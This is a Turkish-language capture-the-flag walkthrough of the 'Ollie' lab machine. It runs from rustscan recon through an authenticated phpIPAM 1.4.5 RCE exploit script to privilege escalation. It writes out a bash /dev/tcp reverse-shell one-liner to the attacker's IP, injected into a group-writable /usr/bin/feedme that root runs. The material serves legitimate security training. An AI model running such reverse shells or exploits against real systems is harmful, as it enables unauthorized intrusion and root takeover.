1. Keşif ve Bilgi Toplama (Enumeration)

Makineyi başlatıp ip adresimizi aldıktan sonra sitemizi ziyaret ediyoruz.

None

Sayfanın kaynak kodlarını detaylıca inceliyoruz ve çalışan servis sürümünün phpIPAM 1.4.5 olduğunu görüyoruz bunu not aldıktan sonra /robots.txt ye bakıyoruz onemli bişey bulamayınca keşif taramasıyla devam ediyorum.

Rustscan taraması ile sitedeki açık portları hızlı bir şekilde buluyorum.

rustscan hızıyla bilinir; -b (batch size) ve -t (timeout) değerleri taramayı optimize eder. Son kısımdaki -sV, açık portlardaki servis versiyonlarını belirlemek için nmap'i devreye sokar.

Rustscanin en sevdiğim yanı bu sanırım :)

None
rustscan taraması

Bulgular:

  • 22/TCP: SSH (Uzaktan yönetim).
  • 80/TCP: HTTP (Web sunucusu).
  • 1337/TCP: WASTE (P2P servisleri için kullanılan resmi olmayan bir port).

1337 portu üzerinde odaklanıyorum.

None

Sorulan sorulara doğru yanıtlar (örneğin köpek cinsi sorusuna "bulldog") vererek sistem için geçerli olan admin kullanıcı adı ve şifresini elde ediyoruz.

2. İstismar Aşaması (Exploitation)

Elde ettiğimiz kimlik bilgileri ile phpIPAM paneline giriş yapıyoruz. Versiyon bilgisini (v1.4.5) araştırdığımızda, sistemin Kimlik Doğrulamalı Uzaktan Kod Çalıştırma (Authenticated RCE) zafiyetine sahip olduğunu görüyoruz.

None

Araştırdığımda bunları buluyorum:

None

Gerekli dosyayı makineme indirip ne yapmam gerektiğini okudum ve komutumu çalıştırdım.

None
50963.py
python3 50963.py -url <hedef ip> -usr admin -pwd <şifre>

bana verdiği siteyi ziyaret ettim.

None

Ve birkaç bilgiyi okumaya çalıştım ama yetkilerim çok kısıtlıydı bu yüzden reverse shell almam gerekiyordu ama bunu neyle alacağımı bilmediğim için sistemde pythonun yüklü olup olmadığını kontrol etmem gerekiyordu.

None

which python3 komutu ile içerisinde pythonun yüklü olduğunu gösterdi şimdi artık reverse shellimizi kolaylıkla alabiliriz.

None
reverse-shell

İp kismina kendi kali ip mizi ve dinleyeceğimiz portu girdikten sonra komutumuzu yapıştırıyoruz ve terminalimizde dinlemeye geçiyoruz.

None

Ardından bağlantı geliyor.

python3 -c "import pty;pty.spawn('/bin/bash')" 
export TERM=xterm

Komutları ile shellimizi interaktif bir shell haline getiriyoruz /home/ollie dizinin içinde bulunan user.txt yi okumak istediğimizde permission hatası alıyoruz.

None

Ollie hesabına geçebilmek için bulmuş olduğumuz şifrenin tekrar kullanılacağını düşünüp su ollie yaparak ollie hesabına geçiyorum ve user.txt yi başarılı bir şekilde okuyorum.

None
user.txt

3. Yetki Yükseltme (Privilege Escalation)

Şimdi root olmamız gerekiyor bunun için ilk olarak sudo -l komutunu çalıştırıyorum fakat işe yaramıyor sonra suid bitli dosyalara bakıyorum işime yarayacak birşey var mı diye fakat ondan da bir sonuç çıkmıyor.

find / -writable -type f 2>/dev/null

Komutu ile yazma yetkimin olduğu dosyaları listeliyorum ve listenin en altında ilginç bir şey buluyorum.

None

/usr/bin/feedme dosyasını inceliyorum.

None
/usr/bin/feedme

Bu Ne Demek?

Dosya izinlerini (ls -la) incelediğimizde şunu görüyoruz: -rwxrw-r-- 1 root ollie 30 Feb 12 2022 /usr/bin/feedme

Buradaki kritik detaylar var:

  1. Sahibi (Owner): root (Yani dosyayı root çalıştırıyor olabilir veya root'a ait).
  2. Grubu: ollie (biz bu gruptayız)
  3. İzinler: -rwxrw-r--
  • rwx: Dosya sahibi (root) okuyabilir, yazabilir, çalıştırabilir.
  • rw-: Grubun üyeleri (ollie) bu dosyayı hem okuyabilir hem de üzerine yazabilir.

Özetle: Ben bir sistem dosyasını ( /usr/bin/ altında olduğu için muhtemelen bir cronjob veya sistem servisi tarafından tetikleniyor) düzenleme yetkisine sahipim.Anlamamız gereken şey bu yani bu dosyanın içine kendi kodumuzu reverse shell kodumuzu yükleyip çalıştırabiliriz.

Reverse shell kodumuzu dosyanın içine yükleyip başarılı bir sekilde çalıştırıp kendi makinemizden de hedef portu dinlemeye başlarsak yetkimizi kolay bir şekilde yükseltebileceğiz bunun için öncelikle dosyanın içine reverse shell kodumuzu eklememiz gerekiyor.

None
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<KALİ_İP>/PORT 0>&1' > /usr/bin/feedme

1. Komutun Anlamı Nedir?

  • echo -e: Tırnak içindeki metni dosyaya yazdırır. -e parametresi, içindeki \n (yeni satır) gibi özel ifadelerin çalışmasını sağlar.
  • #!/bin/bash: Bu, dosyanın bir "bash script" olduğunu belirten standart bir başlangıç satırıdır.
  • bash -i >& /dev/tcp/<KALI_IP>/PORT 0>&1: Komutun en önemli kısmı burası:
  • bash -i: İnteraktif bir bash kabuğu açar.
  • /dev/tcp/<KALI_IP>/PORT: Linux'un ağ yeteneklerini kullanarak senin makinenle bir bağlantı kurmaya çalışır.
  • 0>&1 ve >&: Giriş ve çıkış akışlarını (senin yazdığın komutlar ve bilgisayarın verdiği cevaplar) bu ağ bağlantısına yönlendirir.
  • > /usr/bin/feedme: Tüm bu komutları, yazma yetkimiz olan /usr/bin/feedme dosyasının içine yazar (eski içeriği siler).

Komutu çalıştırdıktan sonra kendi makinemizde dinlemek için netcat bağlantısı başlatıyorum.

None

Ve artık rootuz şimdi /root dizinin altındaki dosyamizi okuyalım.

None

Ollie makinesi, versiyon takibinin ve dosya izinlerindeki en ufak bir boşluğun (yazma yetkisi gibi) nasıl bir felakete yol açabileceğini çok net gösteriyor.Bizde bu zaafiyetten yararlanıp yetkilerimizi yükseltmeyi başardık. Okuduğunuz için teşekkürler! Sonraki yazılarımda görüşmek üzere.